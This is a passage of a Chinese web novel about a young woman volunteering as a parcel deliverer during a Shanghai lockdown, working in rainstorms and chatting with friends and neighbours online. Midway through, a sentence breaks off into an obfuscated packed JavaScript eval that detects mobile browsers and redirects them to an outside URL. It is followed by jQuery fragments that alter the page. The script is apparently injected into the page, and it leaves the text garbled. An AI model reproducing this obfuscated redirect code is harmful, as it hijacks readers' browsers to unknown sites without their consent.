季节戴好口罩，换了一身扛造的衣服和鞋，打着直柄雨伞，一出楼就被风刮了一脸水。雨水俯冲向大地，击打着一切。
走到大门口的棚顶下，季节收起雨伞，发现王者小伙站在眼前。周围还有两个志愿者，在忙着登记快递编号，三人都穿着鼓鼓囊囊的大白防护服。
看她来了，他指了指一边的纸箱说：“如果去送货，就穿大白防护服，相当于穿了雨衣。如果在门口雨棚下记录理货，就还是只穿小蓝围裙。”
季节立刻说：“我穿大白！”随即就当着他的面施展拳脚，伸胳膊蹬腿，把大白服套在身上。帽子一扣，从头到脚全包。
大白服不怎么打扮人，季节像蜜雪冰城门口装雪王的。而王者小伙虽然穿着一样的防护服，却鹤立鸡群，玉树临风，季节视线与他肩膀前胸平齐，眼前像一堵结实有弹性的白墙。
今晚“门口的”和“派送的”加起来总共只有他们四个，管五个里弄的活，板车只带过来两辆。
有一个中等身材的年轻男子独自记两个弄的代码，两张大白纸，左右开弓，过一会儿骂一声，操，记反了。
另一个穿黄色雨披的女生记一个弄的代码，同时负责送那个弄的货，边记边送，时送时记。每次送完回来，货架上又多了一堆新的，令她像抗洪抢险一样崩溃不已。
王者小伙，负责剩下所有的活。
季节来了以后，自觉顶上138弄和160弄的缺位，站到那两个货架前埋头苦干，将湿漉漉的包裹逐一记录消毒，登记后发到群里。幸好前两天已经被拉进这两个弄的传达群。
王者小伙被替换下来，单手拎过来一辆板车，准备去当“派送的”。地上已经堆得没处下脚。
他把快递一件一件在板车上放好，季节很有眼力见地过来帮忙，像捡垃圾一样从地上捡起一个个满是泥浆的口袋。
他颇有耐心地教季节：“1025弄的先放上来，码在最下边，1025最远。”又说：“按楼号从小到大的顺序摆，相近的楼一起送了。”
这是此前冷面大姐没教过的办法，令季节耳目一新，她脱口而出：“喔，你很聪明啊！”一抬头，发现他挑起一侧眉毛，口罩上方露出一双眼睛，如同幽黑发亮的深潭，正在凝视自己。
季节生怕他觉得自己妄加点评，急忙谦虚地问他这几天还积攒了什么经验，可否再给指点一二。他轻声一笑，把离得最近的几个楼的大包放在最上面，说：“好，再教一招，相邻的弄也摆在一起。我们现在摆的是对的。”
季节得意地说：“举一反三，这个我已经想到了。”
他的声音带着淡淡的戏谑意味：“哦哟，可以。”
黄色雨披姐独自拖车，默默出去送货。季节看见她远去的背影，大受感动，手持长伞冲入雨幕，想追随她并为她打伞。岂料终于赶上她明黄色的背影时，发现板车已空，她正站在门洞里跟人打电话。季节只好悻悻地回到门口，心中空荡惆怅。
多了一个人手，作业进度陡然提速。须臾之间，门口清空一半。季节混得如鱼得水，不仅能手脚麻利地接待快递，甚至反客为主，指使王者小伙帮她把货架最上层的大包搬下来装车。此外，还偶尔和快递师傅聊两句。不过师傅们已经被浇得喷泉一般，只能嘶吼，无心多言。
攒了有满满一车，王者小伙宣布出发。季节指着旁边的雨伞大刺刺地说：“去吧，那儿有雨伞你要不拿一把。”他看了看说，还是不拿了。
说完，他走进三街坊的雨夜，锐利的银色雨水打在他的防护服上，使他周身如同流动着蜿蜒的河流。
季节也没拿伞，跟在他身后走出棚顶之外，双手双臂披挂着几个外卖袋，说要去体验一下三街坊的面积。
他略微意外地问：“你要去送吗？”
季节解释说：“这几个我送，不等下一批了，一会儿饭菜凉了。”
他没再没客套，将外卖袋上贴的纸条翻过来看看，心中自有地图，给季节指路：“那个正对着你的就是14号楼，送完它以后往前走，再往右拐，就是18号和24号。”
季节望向他指引的方向，而他低头凝视季节口罩上方露出的眼睛。然后他们分头，走向遥远的一些角落。
在楼与楼之间穿梭，也在暴雨中穿梭，雨之外还是雨。世界喧嚣震动时，内心反而安宁，就这样走下去，似乎可以走到雨停，再之后走到夏天。
小区里灯火昏暗，多处有死胡同和隔断，季节慢慢寻找，穿过一层又一层的雨帘，比在写字楼里工作时平静。头一次在雨天不打伞，视线无羁无绊，树木、自行车棚、凉亭、汽车的种种黑影之间，楼房以某种既定规律排列成群。家家的窗里亮着灯，五光十色，整座楼像马赛克一样。
雨水沙沙地打在防护服上，真的一点都没有渗进去。
外卖都被季节放在楼下浇不着雨的地方，不久志愿者群里有楼栋联络人反映，接到外卖的居民对志愿者表示感谢，说饭还是热的，而且没变成泡饭。
季节回到大门口时，他们三个都在棚子下。风把门口的记录单都吹散了，白色的纸张落在雨里，很快就混沌不清，再也认不出字迹。王者小伙又在进行王者行为。只见他负手而立，抬头看着篷顶，篷顶多处兜水下沉，形成一洼深湖。季节心想，季节性水泡子的原理。
接着他突然抬手，重重拍在兜下来的篷布上，发出沉闷响声，水泡子里的水应声飞向天际。水泡子空了，重新变为陆地。季节又想，雨季过后，湖变陆地，演绎着地球表面千万年来的变化。
他转过身来，低头问季节：“怎么样，找到那个楼了吗？”
季节十分豁达地说：“找到了！”
那个叫本杰明的男志愿者热情洋溢，参与篷顶治理工作。本杰明拿着季节的长柄雨伞，捅向一处兜水的篷顶，水流四散，篷顶也漏了个小洞。
本杰明叹了口气，觉得篷布破了可惜，季节安慰他说总比被积水压塌了好，还说这就像时代变迁带来的震荡。这哥们说，靠，一时之间不知道你在夸我还是损我。雨披姐也调笑说，当然是损你了。
谈笑之间，时钟临近八点半，最后送一圈货就下班。这回季节捞到一辆小板车，拖车走了两个弄，感觉这车十分称手，比想象中的好推。就是自己不认路，只能送最近的弄。
八点五十，四个人在棚子下脱掉防护服，互相消毒，互道再见。从这一天开始，他们就像拜过把子的兄弟姐们一样，有一种患难与共的默契了。
回到家里，季节花十分钟洗澡，十五分钟吹干头发，躺床上划开手机，发现狐朋狗友们还激战正酣，顺便等着她上线。新一轮游戏开局，季节加入其中，其余四人是老凤，老D，瓶子和老盆。
屏幕上，五个人的头像和网名整齐排列：咬哥的板车，二凤，爆二凤，阿司匹林，毕业不失业。
季节连日苦练，有所进益，逐渐上道，打不过就跑，转身逃窜这一招的身手比谁都快。瓶子赞许地说：“对了，这个游戏的精髓就是要苟住，苟到最后就胜了。”
季节情不自禁地说：“就和我那失败的人生一样。”
后来老凤突然说有个邮件要回，然后空挂着会议，匆匆忙忙回复工作去了。
老D啧啧称奇：“老凤贵为沪上徐汇土著，血统纯正，竟还志存高远，甘于奉献。”
老凤的声音幽幽传来：“都是被逼无奈，垃圾事务所，还我青春。”
这时老盆插嘴说，老凤家祖坟在远郊，并非世代居于浦西。老D讶异地说，原来老凤是串儿？
老凤沉重的声音再度传来：“D神，我还没死，我听得见。”
季节边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718038|173813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逃跑边问大家都吃了吗？她向几人娓娓道来，说今天当班时有所耳闻，相传居委透露口风，说要从慈善超市等渠道引进食品和生活用品，供居民订购，过几天就下发菜单，隔几天就能组织订一次。三街坊有，瓶子他们住的六街坊应该也有，毕竟两个小区挨着。
瓶子说有些小区已经发物资了，五花八门，蔬菜，面饼，粽子月饼，品类丰盛。
老D说，肯定是老凤住的这种小区。
大家哈哈大笑，都知道老凤实际也住老房子。老凤的声音又传出来，D神你不是来过我家么。
老凤将事务处理完毕，无声无息地回到游戏和会议室中。眼看要开始下一轮游戏，季节说：“朋友们我要先吹瓶了，等我一下。”
季节切到聊天界面，在991群里问道：“请问是不是还有大群发布排班信息？”她终于反应过来，觉得自己先前多有误会，目前所在的991群并非真正的大群。
她的心里隐隐约约地期待着。也许王者小伙会记得她的提问，据此认出她的微信号，发来添加好友的申请。
不多时，有个叫小条的志愿者来加她，上来以后话不多说，直接把季节拉进大群，群名是：三街坊抗疫担当（派送青年组）。粗略看来，此群汇聚了众多核心成员，为志愿者队伍的骨干力量。
小条冷冷地告诉季节，进群后跟群主说一下自己有空的时段，群主就是队长。不等季节感谢，小条又问了一连串问题，你一般什么时间能来，是否是党员，周末呢？
这人语气如冰，用词生硬，毫无表情或飘号，让季节诚惶诚恐，猜测对方是一心向党的老大爷，用了孙子的微信号。她老实回答道，每天晚班都能来，不是党员，周末白天也可能加班，但晚上一定都有空。
小条发给季节一张三街坊的电子地图，比她在大门口牌子上拍的清晰多了，令季节如获至宝。
季节的头像是个表情包，上面的题字是：MLGB-mylifegettingbetter。头像MLGB诚恳地说：谢谢您。
小条的头像是个悲伤蛙，蛙嘴吐出气泡说：你懂个der。头像叛逆蛙淡漠地对她说：不客气。
和队长报备后，季节翻了翻大群的消息，发现本杰明和雨披姐也在里面，还有那天的躁动大爷也在，好像还是积极分子，正在承诺自己会给志愿者用的灯盏换电池。躁动大爷头发花白，却起了个言情小说男主的名，叫景文。
有个志愿者大爷每天开着自己的车来大门口，把后备箱装满快递，驱车在小区中穿行配送，往返多次，让季节印象深刻。现在驱车大爷正在群里发送手写的、略有错字的段落。原来大爷名叫二个赤，签名是：张赫——赤子之心、赤诚相待。景文非要管驱车大爷叫叔叔，管小年轻志愿者叫兄弟。
季节又去一号楼的楼栋群里刷了一遍新消息，楼里邻居们在104的团结下，情谊突飞猛进，在谈论局势和人生。
有人说，明早又有核酸检测，我们楼排在八点半，大家早点起。又有人说，我司销售部门都阳了，被送到方舱隔离了，董事长居然在线上会议里发火，认为销售部门业绩差，不作为。
季节顺嘴接了一句，那还能怎么办，董事长想让你们干什么，方舱展业？
季节隔壁的601哥们说，根据咱们小区公布的感染人员楼号，我分析了感染的先后顺序及分布，发现其呈现由北到南的趋势，是不是风一吹，就吹过来了。
104大哥说，难说。
几轮游戏打完，朋友们兴致未尽，话也没说够，但都觉得困了，于是做鸟兽状散了。季节躺在床上，在雨里站了几小时，此时困倦突然袭来。
在沉入无边梦境之前，她模糊地想到，明天他还会来吗？他叫什么，多大年龄，志愿行动结束那天，他们会失去联系吗……